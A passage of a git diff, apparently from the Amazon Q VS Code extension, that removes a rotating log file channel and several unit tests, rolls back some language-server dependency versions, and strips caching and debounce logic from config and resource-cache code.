...args: any[]): void { - this.originalChannel.error(message, ...args) - this.writeToFile(`[ERROR] ${message instanceof Error ? message.stack || message.message : message}`) - } - - append(value: string): void { - this.originalChannel.append(value) - this.writeToFile(value) - } - - appendLine(value: string): void { - this.originalChannel.appendLine(value) - this.writeToFile(value + '\n') - } - - replace(value: string): void { - this.originalChannel.replace(value) - this.writeToFile(`[REPLACE] ${value}`) - } - - clear(): void { - this.originalChannel.clear() - } - - show(preserveFocus?: boolean): void - show(column?: vscode.ViewColumn, preserveFocus?: boolean): void - show(columnOrPreserveFocus?: vscode.ViewColumn | boolean, preserveFocus?: boolean): void { - if (typeof columnOrPreserveFocus === 'boolean') { - this.originalChannel.show(columnOrPreserveFocus) - } else { - this.originalChannel.show(columnOrPreserveFocus, preserveFocus) - } - } - - hide(): void { - this.originalChannel.hide() - } - - dispose(): void { - // First dispose the original channel - this.originalChannel.dispose() - - // Close our file stream if it exists - if (this.fileStream) { - this.fileStream.end() - } - - // Clean up all log files - const logDir = this.extensionContext.storageUri?.fsPath - if (logDir) { - try { - const files = fs.readdirSync(logDir) - for (const file of files) { - if (file.startsWith('amazonq-lsp-') && file.endsWith('.log')) { - fs.unlinkSync(path.join(logDir, file)) - } - } - this.logger.info('Cleaned up all log files during disposal') - } catch (err) { - this.logger.error(`Failed to cleanup log files during disposal: ${err}`) - } - } - } - - private writeToFile(content: string): void { - if (this.fileStream) { - try { - const timestamp = new Date().toISOString() - const logLine = `${timestamp} ${content}\n` - const size = Buffer.byteLength(logLine) - - // If this write would exceed max file size, rotate first - if (this.currentFileSize + size > this.MAX_FILE_SIZE) { - void this.rotateLog() - } - - this.fileStream.write(logLine) - this.currentFileSize += size - } catch (err) { - this.logger.error(`Failed to write to log file: ${err}`) - void this.rotateLog() - } - } - } -} diff --git a/packages/amazonq/src/test/rotatingLogChannel.test.ts b/packages/amazonq/src/test/rotatingLogChannel.test.ts deleted file mode 100644 index 87c4c109603..00000000000 --- a/packages/amazonq/src/test/rotatingLogChannel.test.ts +++ /dev/null @@ -1,192 +0,0 @@ -/*! - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0 - */ - -import * as vscode from 'vscode' -// eslint-disable-next-line no-restricted-imports -import * as fs from 'fs' -import * as path from 'path' -import * as assert from 'assert' -import { RotatingLogChannel } from '../lsp/rotatingLogChannel' - -describe('RotatingLogChannel', () => { - let testDir: string - let mockExtensionContext: vscode.ExtensionContext - let mockOutputChannel: vscode.LogOutputChannel - let logChannel: RotatingLogChannel - - beforeEach(() => { - // Create a temp test directory - testDir = fs.mkdtempSync('amazonq-test-logs-') - - // Mock extension context - mockExtensionContext = { - storageUri: { fsPath: testDir } as vscode.Uri, - } as vscode.ExtensionContext - - // Mock output channel - mockOutputChannel = { - name: 'Test Output Channel', - append: () => {}, - appendLine: () => {}, - replace: () => {}, - clear: () => {}, - show: () => {}, - hide: () => {}, - dispose: () => {}, - trace: () => {}, - debug: () => {}, - info: () => {}, - warn: () => {}, - error: () => {}, - logLevel: vscode.LogLevel.Info, - onDidChangeLogLevel: new vscode.EventEmitter().event, - } - - // Create log channel instance - logChannel = new RotatingLogChannel('test', mockExtensionContext, mockOutputChannel) - }) - - afterEach(() => { - // Cleanup test directory - if (fs.existsSync(testDir)) { - fs.rmSync(testDir, { recursive: true, force: true }) - } - }) - - it('creates log file on initialization', () => { - const files = fs.readdirSync(testDir) - assert.strictEqual(files.length, 1) - assert.ok(files[0].startsWith('amazonq-lsp-')) - assert.ok(files[0].endsWith('.log')) - }) - - it('writes logs to file', async () => { - const testMessage = 'test log message' - logChannel.info(testMessage) - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - const files = fs.readdirSync(testDir) - const content = fs.readFileSync(path.join(testDir, files[0]), 'utf-8') - assert.ok(content.includes(testMessage)) - }) - - it('rotates files when size limit is reached', async () => { - // Write enough data to trigger rotation - const largeMessage = 'x'.repeat(1024 * 1024) // 1MB - for (let i = 0; i < 6; i++) { - // Should create at least 2 files - logChannel.info(largeMessage) - } - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - const files = fs.readdirSync(testDir) - assert.ok(files.length > 1, 'Should have created multiple log files') - assert.ok(files.length <= 4, 'Should not exceed max file limit') - }) - - it('keeps only the specified number of files', async () => { - // Write enough data to create more than MAX_LOG_FILES - const largeMessage = 'x'.repeat(1024 * 1024) // 1MB - for (let i = 0; i < 20; i++) { - // Should trigger multiple rotations - logChannel.info(largeMessage) - } - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - const files = fs.readdirSync(testDir) - assert.strictEqual(files.length, 4, 'Should keep exactly 4 files') - }) - - it('cleans up all files on dispose', async () => { - // Write some logs - logChannel.info('test message') - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - // Verify files exist - assert.ok(fs.readdirSync(testDir).length > 0) - - // Dispose - logChannel.dispose() - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - // Verify files are cleaned up - const remainingFiles = fs.readdirSync(testDir).filter((f) => f.startsWith('amazonq-lsp-') && f.endsWith('.log')) - assert.strictEqual(remainingFiles.length, 0, 'Should have no log files after disposal') - }) - - it('includes timestamps in log messages', async () => { - const testMessage = 'test message' - logChannel.info(testMessage) - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - const files = fs.readdirSync(testDir) - const content = fs.readFileSync(path.join(testDir, files[0]), 'utf-8') - - // ISO date format regex - const timestampRegex = /\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z/ - assert.ok(timestampRegex.test(content), 'Log entry should include ISO timestamp') - }) - - it('handles different log levels correctly', async () => { - const testMessage = 'test message' - logChannel.trace(testMessage) - logChannel.debug(testMessage) - logChannel.info(testMessage) - logChannel.warn(testMessage) - logChannel.error(testMessage) - - // Allow async operations to complete - await new Promise((resolve) => setTimeout(resolve, 100)) - - const files = fs.readdirSync(testDir) - const content = fs.readFileSync(path.join(testDir, files[0]), 'utf-8') - - assert.ok(content.includes('[TRACE]'), 'Should include TRACE level') - assert.ok(content.includes('[DEBUG]'), 'Should include DEBUG level') - assert.ok(content.includes('[INFO]'), 'Should include INFO level') - assert.ok(content.includes('[WARN]'), 'Should include WARN level') - assert.ok(content.includes('[ERROR]'), 'Should include ERROR level') - }) - - it('delegates log level to the original channel', () => { - // Set up a mock output channel with a specific log level - const mockChannel = { - ...mockOutputChannel, - logLevel: vscode.LogLevel.Trace, - } - - // Create a new log channel with the mock - const testLogChannel = new RotatingLogChannel('test-delegate', mockExtensionContext, mockChannel) - - // Verify that the log level is delegated correctly - assert.strictEqual( - testLogChannel.logLevel, - vscode.LogLevel.Trace, - 'Should delegate log level to original channel' - ) - - // Change the mock's log level - mockChannel.logLevel = vscode.LogLevel.Debug - - // Verify that the change is reflected - assert.strictEqual( - testLogChannel.logLevel, - vscode.LogLevel.Debug, - 'Should reflect changes to original channel log level' - ) - }) -}) diff --git a/packages/amazonq/test/unit/amazonq/apps/inline/recommendationService.test.ts b/packages/amazonq/test/unit/amazonq/apps/inline/recommendationService.test.ts index 54eea8347c5..744fcc63c53 100644 --- a/packages/amazonq/test/unit/amazonq/apps/inline/recommendationService.test.ts +++ b/packages/amazonq/test/unit/amazonq/apps/inline/recommendationService.test.ts @@ -146,7 +146,6 @@ describe('RecommendationService', () => { }, position: mockPosition, context: mockContext, - documentChangeParams: undefined, }) // Verify session management @@ -188,7 +187,6 @@ describe('RecommendationService', () => { }, position: mockPosition, context: mockContext, - documentChangeParams: undefined, } const secondRequestArgs = sendRequestStub.secondCall.args[1] assert.deepStrictEqual(firstRequestArgs, expectedRequestArgs) diff --git a/packages/amazonq/test/unit/amazonq/lsp/client.test.ts b/packages/amazonq/test/unit/amazonq/lsp/client.test.ts deleted file mode 100644 index 7c99c47e0ea..00000000000 --- a/packages/amazonq/test/unit/amazonq/lsp/client.test.ts +++ /dev/null @@ -1,268 +0,0 @@ -/*! - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0 - */ - -import assert from 'assert' -import sinon from 'sinon' -import { LanguageClient } from 'vscode-languageclient' -import { AuthUtil } from 'aws-core-vscode/codewhisperer' -import { AmazonQLspAuth } from '../../../../src/lsp/auth' - -// These tests verify the behavior of the authentication functions -// Since the actual functions are module-level and use real dependencies, -// we test the expected behavior through mock implementations - -describe('Language Server Client Authentication', function () { - let sandbox: sinon.SinonSandbox - let mockClient: any - let mockAuth: any - let authUtilStub: sinon.SinonStub - let loggerStub: any - let getLoggerStub: sinon.SinonStub - let pushConfigUpdateStub: sinon.SinonStub - - beforeEach(() => { - sandbox = sinon.createSandbox() - - // Mock LanguageClient - mockClient = { - sendRequest: sandbox.stub().resolves(), - sendNotification: sandbox.stub(), - onDidChangeState: sandbox.stub(), - } - - // Mock AmazonQLspAuth - mockAuth = { - refreshConnection: sandbox.stub().resolves(), - } - - // Mock AuthUtil - authUtilStub = sandbox.stub(AuthUtil, 'instance').get(() => ({ - isConnectionValid: sandbox.stub().returns(true), - regionProfileManager: { - activeRegionProfile: { arn: 'test-profile-arn' }, - }, - auth: { - getConnectionState: sandbox.stub().returns('valid'), - activeConnection: { id: 'test-connection' }, - }, - })) - - // Create logger stub - loggerStub = { - info: sandbox.stub(), - debug: sandbox.stub(), - warn: sandbox.stub(), - error: sandbox.stub(), - } - - // Clear all relevant module caches - const sharedModuleId = require.resolve('aws-core-vscode/shared') - const configModuleId = require.resolve('../../../../src/lsp/config') - delete require.cache[sharedModuleId] - delete require.cache[configModuleId] - - // jscpd:ignore-start - // Create getLogger stub - getLoggerStub = sandbox.stub().returns(loggerStub) - - // Create a mock shared module with stubbed getLogger - const mockSharedModule = { - getLogger: getLoggerStub, - } - - // Override the require cache with our mock - require.cache[sharedModuleId] = { - id: sharedModuleId, - filename: sharedModuleId, - loaded: true, - parent: undefined, - children: [], - exports: mockSharedModule, - paths: [], - } as any - // jscpd:ignore-end - - // Mock pushConfigUpdate - pushConfigUpdateStub = sandbox.stub().resolves() - const mockConfigModule = { - pushConfigUpdate: pushConfigUpdateStub, - } - - require.cache[configModuleId] = { - id: configModuleId, - filename: configModuleId, - loaded: true, - parent: undefined, - children: [], - exports: mockConfigModule, - paths: [], - } as any - }) - - afterEach(() => { - sandbox.restore() - }) - - describe('initializeLanguageServerConfiguration behavior', function () { - it('should initialize configuration when connection is valid', async function () { - // Test the expected behavior of the function - const mockInitializeFunction = async (client: LanguageClient, context: string) => { - const { getLogger } = require('aws-core-vscode/shared') - const { pushConfigUpdate } = require('../../../../src/lsp/config') - const logger = getLogger('amazonqLsp') - - if (AuthUtil.instance.isConnectionValid()) { - logger.info(`[${context}] Initializing language server configuration`) - - // Send profile configuration - logger.debug(`[${context}] Sending profile configuration to language server`) - await pushConfigUpdate(client, { - type: 'profile', - profileArn: AuthUtil.instance.regionProfileManager.activeRegionProfile?.arn, - }) - logger.debug(`[${context}] Profile configuration sent successfully`) - - // Send customization configuration - logger.debug(`[${context}] Sending customization configuration to language server`) - await pushConfigUpdate(client, { - type: 'customization', - customization: 'test-customization', - }) - logger.debug(`[${context}] Customization configuration sent successfully`) - - logger.info(`[${context}] Language server configuration completed successfully`) - } else { - logger.warn(`[${context}] Connection invalid, skipping configuration`) - } - } - - await mockInitializeFunction(mockClient as any, 'startup') - - // Verify logging - assert(loggerStub.info.calledWith('[startup] Initializing language server configuration')) - assert(loggerStub.debug.calledWith('[startup] Sending profile configuration to language server')) - assert(loggerStub.debug.calledWith('[startup] Profile configuration sent successfully')) - assert(loggerStub.debug.calledWith('[startup] Sending customization configuration to language server')) - assert(loggerStub.debug.calledWith('[startup] Customization configuration sent successfully')) - assert(loggerStub.info.calledWith('[startup] Language server configuration completed successfully')) - - // Verify pushConfigUpdate was called twice - assert.strictEqual(pushConfigUpdateStub.callCount, 2) - - // Verify profile configuration - assert( - pushConfigUpdateStub.calledWith(mockClient, { - type: 'profile', - profileArn: 'test-profile-arn', - }) - ) - - // Verify customization configuration - assert( - pushConfigUpdateStub.calledWith(mockClient, { - type: 'customization', - customization: 'test-customization', - }) - ) - }) - - it('should log warning when connection is invalid', async function () { - // Mock invalid connection - authUtilStub.get(() => ({ - isConnectionValid: sandbox.stub().returns(false), - auth: { - getConnectionState: sandbox.stub().returns('invalid'), - activeConnection: { id: 'test-connection' }, - }, - })) - - const mockInitializeFunction = async (client: LanguageClient, context: string) => { - const { getLogger } = require('aws-core-vscode/shared') - const logger = getLogger('amazonqLsp') - - // jscpd:ignore-start - if (AuthUtil.instance.isConnectionValid()) { - // Should not reach here - } else { - logger.warn( - `[${context}] Connection invalid, skipping language server configuration - this will cause authentication failures` - ) - const activeConnection = AuthUtil.instance.auth.activeConnection - const connectionState = activeConnection - ? AuthUtil.instance.auth.getConnectionState(activeConnection) - : 'no-connection' - logger.warn(`[${context}] Connection state: ${connectionState}`) - // jscpd:ignore-end - } - } - - await mockInitializeFunction(mockClient as any, 'crash-recovery') - - // Verify warning logs - assert( - loggerStub.warn.calledWith( - '[crash-recovery] Connection invalid, skipping language server configuration - this will cause authentication failures' - ) - ) - assert(loggerStub.warn.calledWith('[crash-recovery] Connection state: invalid')) - - // Verify pushConfigUpdate was not called - assert.strictEqual(pushConfigUpdateStub.callCount, 0) - }) - }) - - describe('crash recovery handler behavior', function () { - it('should reinitialize authentication after crash', async function () { - const mockCrashHandler = async (client: LanguageClient, auth: AmazonQLspAuth) => { - const { getLogger } = require('aws-core-vscode/shared') - const { pushConfigUpdate } = require('../../../../src/lsp/config') - const logger = getLogger('amazonqLsp') - - logger.info('[crash-recovery] Language server crash detected, reinitializing authentication') - - try { - logger.debug('[crash-recovery] Refreshing connection and sending bearer token') - await auth.refreshConnection(true) - logger.debug('[crash-recovery] Bearer token sent successfully') - - // Mock the configuration initialization - if (AuthUtil.instance.isConnectionValid()) { - await pushConfigUpdate(client, { - type: 'profile', - profileArn: AuthUtil.instance.regionProfileManager.activeRegionProfile?.arn, - }) - } - - logger.info('[crash-recovery] Authentication reinitialized successfully') - } catch (error) { - logger.error(`[crash-recovery] Failed to reinitialize after crash: ${error}`) - } - } - - await mockCrashHandler(mockClient as any, mockAuth as any) - - // Verify crash recovery logging - assert( - loggerStub.info.calledWith( - '[crash-recovery] Language server crash detected, reinitializing authentication' - ) - ) - assert(loggerStub.debug.calledWith('[crash-recovery] Refreshing connection and sending bearer token')) - assert(loggerStub.debug.calledWith('[crash-recovery] Bearer token sent successfully')) - assert(loggerStub.info.calledWith('[crash-recovery] Authentication reinitialized successfully')) - - // Verify auth.refreshConnection was called - assert(mockAuth.refreshConnection.calledWith(true)) - - // Verify profile configuration was sent - assert( - pushConfigUpdateStub.calledWith(mockClient, { - type: 'profile', - profileArn: 'test-profile-arn', - }) - ) - }) - }) -}) diff --git a/packages/amazonq/test/unit/amazonq/lsp/config.test.ts b/packages/amazonq/test/unit/amazonq/lsp/config.test.ts index c31e873e181..69b15d6e311 100644 --- a/packages/amazonq/test/unit/amazonq/lsp/config.test.ts +++ b/packages/amazonq/test/unit/amazonq/lsp/config.test.ts @@ -77,151 +77,3 @@ describe('getAmazonQLspConfig', () => { delete process.env.__AMAZONQLSP_UI } }) - -describe('pushConfigUpdate', () => { - let sandbox: sinon.SinonSandbox - let mockClient: any - let loggerStub: any - let getLoggerStub: sinon.SinonStub - let pushConfigUpdate: any - - beforeEach(() => { - sandbox = sinon.createSandbox() - - // Mock LanguageClient - mockClient = { - sendRequest: sandbox.stub().resolves(), - sendNotification: sandbox.stub(), - } - - // Create logger stub - loggerStub = { - debug: sandbox.stub(), - } - - // Clear all relevant module caches - const configModuleId = require.resolve('../../../../src/lsp/config') - const sharedModuleId = require.resolve('aws-core-vscode/shared') - delete require.cache[configModuleId] - delete require.cache[sharedModuleId] - - // jscpd:ignore-start - // Create getLogger stub and store reference for test verification - getLoggerStub = sandbox.stub().returns(loggerStub) - - // Create a mock shared module with stubbed getLogger - const mockSharedModule = { - getLogger: getLoggerStub, - } - - // Override the require cache with our mock - require.cache[sharedModuleId] = { - id: sharedModuleId, - filename: sharedModuleId, - loaded: true, - parent: undefined, - children: [], - exports: mockSharedModule, - paths: [], - } as any - - // Now require the module - it should use our mocked getLogger - // jscpd:ignore-end - const configModule = require('../../../../src/lsp/config') - pushConfigUpdate = configModule.pushConfigUpdate - }) - - afterEach(() => { - sandbox.restore() - }) - - it('should send profile configuration with logging', async () => { - const config = { - type: 'profile' as const, - profileArn: 'test-profile-arn', - } - - await pushConfigUpdate(mockClient, config) - - // Verify logging - assert(loggerStub.debug.calledWith('Pushing profile configuration: test-profile-arn')) - assert(loggerStub.debug.calledWith('Profile configuration pushed successfully')) - - // Verify client call - assert(mockClient.sendRequest.calledOnce) - assert( - mockClient.sendRequest.calledWith(sinon.match.string, { - section: 'aws.q', - settings: { profileArn: 'test-profile-arn' }, - }) - ) - }) - - it('should send customization configuration with logging', async () => { - const config = { - type: 'customization' as const, - customization: 'test-customization-arn', - } - - await pushConfigUpdate(mockClient, config) - - // Verify logging - assert(loggerStub.debug.calledWith('Pushing customization configuration: test-customization-arn')) - assert(loggerStub.debug.calledWith('Customization configuration pushed successfully')) - - // Verify client call - assert(mockClient.sendNotification.calledOnce) - assert( - mockClient.sendNotification.calledWith(sinon.match.string, { - section: 'aws.q', - settings: { customization: 'test-customization-arn' }, - }) - ) - }) - - it('should handle undefined profile ARN', async () => { - const config = { - type: 'profile' as const, - profileArn: undefined, - } - - await pushConfigUpdate(mockClient, config) - - // Verify logging with undefined - assert(loggerStub.debug.calledWith('Pushing profile configuration: undefined')) - assert(loggerStub.debug.calledWith('Profile configuration pushed successfully')) - }) - - it('should handle undefined customization ARN', async () => { - const config = { - type: 'customization' as const, - customization: undefined, - } - - await pushConfigUpdate(mockClient, config) - - // Verify logging with undefined - assert(loggerStub.debug.calledWith('Pushing customization configuration: undefined')) - assert(loggerStub.debug.calledWith('Customization configuration pushed successfully')) - }) - - it('should send logLevel configuration with logging', async () => { - const config = { - type: 'logLevel' as const, - } - - await pushConfigUpdate(mockClient, config) - - // Verify logging - assert(loggerStub.debug.calledWith('Pushing log level configuration')) - assert(loggerStub.debug.calledWith('Log level configuration pushed successfully')) - - // Verify client call - assert(mockClient.sendNotification.calledOnce) - assert( - mockClient.sendNotification.calledWith(sinon.match.string, { - section: 'aws.logLevel', - }) - ) - }) -}) diff --git a/packages/amazonq/test/unit/app/inline/EditRendering/imageRenderer.test.ts b/packages/amazonq/test/unit/app/inline/EditRendering/imageRenderer.test.ts index 8a625fe3544..3160f69fa95 100644 --- a/packages/amazonq/test/unit/app/inline/EditRendering/imageRenderer.test.ts +++ b/packages/amazonq/test/unit/app/inline/EditRendering/imageRenderer.test.ts @@ -52,7 +52,6 @@ describe('showEdits', function () { delete require.cache[moduleId] delete require.cache[sharedModuleId] - // jscpd:ignore-start // Create getLogger stub and store reference for test verification getLoggerStub = sandbox.stub().returns(loggerStub) @@ -73,7 +72,6 @@ describe('showEdits', function () { } as any // Now require the module - it should use our mocked getLogger - // jscpd:ignore-end const imageRendererModule = require('../../../../../src/app/inline/EditRendering/imageRenderer') showEdits = imageRendererModule.showEdits diff --git a/packages/amazonq/test/unit/codewhisperer/service/securityIssueHoverProvider.test.ts b/packages/amazonq/test/unit/codewhisperer/service/securityIssueHoverProvider.test.ts index 7709eed10fe..9c1bb751a35 100644 --- a/packages/amazonq/test/unit/codewhisperer/service/securityIssueHoverProvider.test.ts +++ b/packages/amazonq/test/unit/codewhisperer/service/securityIssueHoverProvider.test.ts @@ -21,41 +21,17 @@ describe('securityIssueHoverProvider', () => { token = new vscode.CancellationTokenSource() }) - function buildCommandLink( - command: string, - commandIcon: string, - args: any[], - label: string, - tooltip: string - ): string { - return `[$(${commandIcon}) ${label}](command:${command}?${encodeURIComponent(JSON.stringify(args))} '${tooltip}')` + function buildCommandLink(command: string, args: any[], label: string, tooltip: string): string { + return `[$(${command.includes('ignore') ? 'error' : 'comment'}) ${label}](command:${command}?${encodeURIComponent(JSON.stringify(args))} '${tooltip}')` } function buildExpectedContent(issue: any, fileName: string, description: string, severity?: string): string { const severityBadge = severity ? ` ![${severity}](severity-${severity.toLowerCase()}.svg)` : ' ' const commands = [ - buildCommandLink( - 'aws.amazonq.explainIssue', - 'comment', - [issue, fileName], - 'Explain', - 'Explain with Amazon Q' - ), - buildCommandLink('aws.amazonq.generateFix', 'wrench', [issue, fileName], 'Fix', 'Fix with Amazon Q'), - buildCommandLink( - 'aws.amazonq.security.ignore', - 'error', - [issue, fileName, 'hover'], - 'Ignore', - 'Ignore Issue' - ), - buildCommandLink( - 'aws.amazonq.security.ignoreAll', - 'error', - [issue, 'hover'], - 'Ignore All', - 'Ignore Similar Issues' - ), + buildCommandLink('aws.amazonq.explainIssue', [issue, fileName], 'Explain', 'Explain with Amazon Q'), + buildCommandLink('aws.amazonq.generateFix', [issue, fileName], 'Fix', 'Fix with Amazon Q'), + buildCommandLink('aws.amazonq.security.ignore', [issue, fileName, 'hover'], 'Ignore', 'Ignore Issue'), + buildCommandLink('aws.amazonq.security.ignoreAll', [issue, 'hover'], 'Ignore All', 'Ignore Similar Issues'), ] return `## title${severityBadge}\n${description}\n\n${commands.join('\n | ')}\n` } diff --git a/packages/core/package.json b/packages/core/package.json index d446a1bdf41..6f8d27ef4dc 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -471,8 +471,8 @@ "@aws-sdk/types": "^3.13.1", "@aws/chat-client": "^0.1.4", "@aws/chat-client-ui-types": "^0.1.47", - "@aws/language-server-runtimes": "^0.2.111", - "@aws/language-server-runtimes-types": "^0.1.47", + "@aws/language-server-runtimes": "^0.2.102", + "@aws/language-server-runtimes-types": "^0.1.43", "@cspotcode/source-map-support": "^0.8.1", "@sinonjs/fake-timers": "^10.0.2", "@types/adm-zip": "^0.4.34", diff --git a/packages/core/src/auth/activation.ts b/packages/core/src/auth/activation.ts index 8305610dff7..5c48124c468 100644 --- a/packages/core/src/auth/activation.ts +++ b/packages/core/src/auth/activation.ts @@ -12,7 +12,7 @@ import { isAmazonQ, isSageMaker } from '../shared/extensionUtilities' import { getLogger } from '../shared/logger/logger' import { getErrorMsg } from '../shared/errors' -export interface SagemakerCookie { +interface SagemakerCookie { authMode?: 'Sso' | 'Iam' } diff --git a/packages/core/src/codewhisperer/commands/basicCommands.ts b/packages/core/src/codewhisperer/commands/basicCommands.ts index efe993356bd..745fe1a45a9 100644 --- a/packages/core/src/codewhisperer/commands/basicCommands.ts +++ b/packages/core/src/codewhisperer/commands/basicCommands.ts @@ -634,12 +634,6 @@ const registerToolkitApiCallbackOnce = once(() => { export const registerToolkitApiCallback = Commands.declare( { id: 'aws.amazonq.refreshConnectionCallback' }, () => async (toolkitApi?: any) => { - // Early return if already registered to avoid duplicate work - if (_toolkitApi) { - getLogger().debug('Toolkit API callback already registered, skipping') - return - } - // While the Q/CW exposes an API for the Toolkit to register callbacks on auth changes, // we need to do it manually here because the Toolkit would have been unable to call // this API if the Q/CW extension started afterwards (and this code block is running). diff --git a/packages/core/src/codewhisperer/region/regionProfileManager.ts b/packages/core/src/codewhisperer/region/regionProfileManager.ts index 24d58d7f588..e463321be19 100644 --- a/packages/core/src/codewhisperer/region/regionProfileManager.ts +++ b/packages/core/src/codewhisperer/region/regionProfileManager.ts @@ -69,7 +69,7 @@ export class RegionProfileManager { constructor(private readonly profileProvider: () => Promise) { super( 'aws.amazonq.regionProfiles.cache', - 3600000, + 60000, { resource: { locked: false, @@ -77,7 +77,7 @@ export class RegionProfileManager { result: undefined, }, }, - { timeout: 15000, interval: 500, truthy: true } + { timeout: 15000, interval: 1500, truthy: true } ) } diff --git a/packages/core/src/codewhisperer/service/securityIssueHoverProvider.ts b/packages/core/src/codewhisperer/service/securityIssueHoverProvider.ts index bb9fe2cafa4..c907f99abe3 100644 --- a/packages/core/src/codewhisperer/service/securityIssueHoverProvider.ts +++ b/packages/core/src/codewhisperer/service/securityIssueHoverProvider.ts @@ -90,7 +90,7 @@ export class SecurityIssueHoverProvider implements vscode.HoverProvider { const generateFixCommand = this._getCommandMarkdown( 'aws.amazonq.generateFix', [issue, filePath], - 'wrench', + 'comment', 'Fix', 'Fix with Amazon Q' ) diff --git a/packages/core/src/shared/featureConfig.ts b/packages/core/src/shared/featureConfig.ts index c7b111b3243..d7acb9657be 100644 --- a/packages/core/src/shared/featureConfig.ts +++ b/packages/core/src/shared/featureConfig.ts @@ -55,9 +55,6 @@ export const featureDefinitions = new Map([ export class FeatureConfigProvider { private featureConfigs = new Map() - private fetchPromise: Promise | undefined = undefined - private lastFetchTime = 0 - private readonly minFetchInterval = 5000 // 5 seconds minimum between fetches static #instance: FeatureConfigProvider @@ -126,28 +123,6 @@ export class FeatureConfigProvider { return } - // Debounce multiple concurrent calls - const now = performance.now() - if (this.fetchPromise && now - this.lastFetchTime < this.minFetchInterval) { - getLogger().debug('amazonq: Debouncing feature config fetch') - return this.fetchPromise - } - - if (this.fetchPromise) { - return this.fetchPromise - } - - this.lastFetchTime = now - this.fetchPromise = this._fetchFeatureConfigsInternal() - - try { - await this.fetchPromise - } finally { - this.fetchPromise = undefined - } - } - - private async _fetchFeatureConfigsInternal(): Promise { getLogger().debug('amazonq: Fetching feature configs') try { const response = await this.listFeatureEvaluations() diff --git a/packages/core/src/shared/utilities/index.ts b/packages/core/src/shared/utilities/index.ts index 18d86da4d55..ecf753090ca 100644 --- a/packages/core/src/shared/utilities/index.ts +++ b/packages/core/src/shared/utilities/index.ts @@ -7,4 +7,3 @@ export { isExtensionInstalled, isExtensionActive } from './vsCodeUtils' export { VSCODE_EXTENSION_ID } from '../extensions' export * from './functionUtils' export * as messageUtils from './messages' -export * as CommentUtils from './commentUtils' diff --git a/packages/core/src/shared/utilities/resourceCache.ts b/packages/core/src/shared/utilities/resourceCache.ts index a399dea66ca..c0beee61cd6 100644 --- a/packages/core/src/shared/utilities/resourceCache.ts +++ b/packages/core/src/shared/utilities/resourceCache.ts @@ -60,21 +60,6 @@ export abstract class CachedResource { abstract resourceProvider(): Promise async getResource(): Promise { - // Check cache without locking first - const quickCheck = this.readCacheOrDefault() - if (quickCheck.resource.result && !quickCheck.resource.locked) { - const duration = now() - quickCheck.resource.timestamp - if (duration < this.expirationInMilli) { - logger.debug( - `cache hit (fast path), duration(%sms) is less than expiration(%sms), returning cached value: %s`, - duration, - this.expirationInMilli, - this.key - ) - return quickCheck.resource.result - } - } - const cachedValue = await this.tryLoadResourceAndLock() const resource = cachedValue?.resource diff --git a/packages/core/src/test/auth/activation.test.ts b/packages/core/src/test/auth/activation.test.ts deleted file mode 100644 index f203033acba..00000000000 --- a/packages/core/src/test/auth/activation.test.ts +++ /dev/null @@ -1,146 +0,0 @@ -/*! - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0 - */ - -import * as vscode from 'vscode' -import * as sinon from 'sinon' -import assert from 'assert' -import { initialize, SagemakerCookie } from '../../auth/activation' -import { LoginManager } from '../../auth/deprecated/loginManager' -import * as extensionUtilities from '../../shared/extensionUtilities' -import * as authUtils from '../../auth/utils' -import * as errors from '../../shared/errors' - -describe('auth/activation', function () { - let sandbox: sinon.SinonSandbox - let mockLoginManager: LoginManager - let executeCommandStub: sinon.SinonStub - let isAmazonQStub: sinon.SinonStub - let isSageMakerStub: sinon.SinonStub - let initializeCredentialsProviderManagerStub: sinon.SinonStub - let getErrorMsgStub: sinon.SinonStub - let mockLogger: any - - beforeEach(function () { - sandbox = sinon.createSandbox() - - // Create mocks - mockLoginManager = { - login: sandbox.stub(), - logout: sandbox.stub(), - } as any - - mockLogger = { - warn: sandbox.stub(), - info: sandbox.stub(), - error: sandbox.stub(), - debug: sandbox.stub(), - } - - // Stub external dependencies - executeCommandStub = sandbox.stub(vscode.commands, 'executeCommand') - isAmazonQStub = sandbox.stub(extensionUtilities, 'isAmazonQ') - isSageMakerStub = sandbox.stub(extensionUtilities, 'isSageMaker') - initializeCredentialsProviderManagerStub = sandbox.stub(authUtils, 'initializeCredentialsProviderManager') - getErrorMsgStub = sandbox.stub(errors, 'getErrorMsg') - }) - - afterEach(function () { - sandbox.restore() - }) - - describe('initialize', function () { - it('should not execute sagemaker.parseCookies when not in AmazonQ and SageMaker environment', async function () { - isAmazonQStub.returns(false) - isSageMakerStub.returns(false) - - await initialize(mockLoginManager) - - assert.ok(!executeCommandStub.called) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - - it('should not execute sagemaker.parseCookies when only in AmazonQ environment', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(false) - - await initialize(mockLoginManager) - - assert.ok(!executeCommandStub.called) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - - it('should not execute sagemaker.parseCookies when only in SageMaker environment', async function () { - isAmazonQStub.returns(false) - isSageMakerStub.returns(true) - - await initialize(mockLoginManager) - - assert.ok(!executeCommandStub.called) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - - it('should execute sagemaker.parseCookies when in both AmazonQ and SageMaker environment', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(true) - executeCommandStub.withArgs('sagemaker.parseCookies').resolves({ authMode: 'Sso' } as SagemakerCookie) - - await initialize(mockLoginManager) - - assert.ok(executeCommandStub.calledOnceWith('sagemaker.parseCookies')) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - - it('should initialize credentials provider manager when authMode is not Sso', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(true) - executeCommandStub.withArgs('sagemaker.parseCookies').resolves({ authMode: 'Iam' } as 